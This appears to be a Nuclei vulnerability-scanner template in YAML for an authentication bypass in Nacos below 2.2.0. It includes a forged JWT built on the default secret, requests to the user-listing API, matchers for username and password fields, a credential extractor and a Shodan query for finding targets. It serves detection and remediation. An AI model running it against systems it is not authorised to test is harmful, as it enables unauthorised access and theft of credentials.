58 lines
1.6 KiB
YAML
58 lines
1.6 KiB
YAML
id: nacos-authentication-bypass
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info:
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name: Nacos < 2.2.0 - Authentication Bypass
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author: Esonhugh
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severity: critical
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description: |
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The authentication function of Nacos is can be bypass through default JWT secret.
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remediation: Change value of jwt secret in the configurations
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reference:
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- https://github.com/alibaba/nacos/issues/10060
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- https://avd.aliyun.com/detail?id=AVD-2023-1655789
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- https://nacos.io/zh-cn/docs/auth.html
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classification:
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cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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shodan-query: title:"Nacos"
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product: nacos
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vendor: alibaba
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tags: auth-bypass,nacos,misconfig,jwt
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variables:
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token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g
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http:
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- method: GET
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path:
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- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
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- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '"username":'
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- '"password":'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 200
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extractors:
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- type: json
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part: body
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name: extracted-credentials
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json:
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- ".pageItems[]"
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# digest: 490a00463044022071f9a65eeb112b923a5c324c920807c4b63b64aef70a1b9c1ba39bbb99a16d08022026328fdbbaf0fdb3f923c241b56f61f0945f561e470fde4d871d02effbdc83e2:922c64590222798bb761d5b6d8e72950 |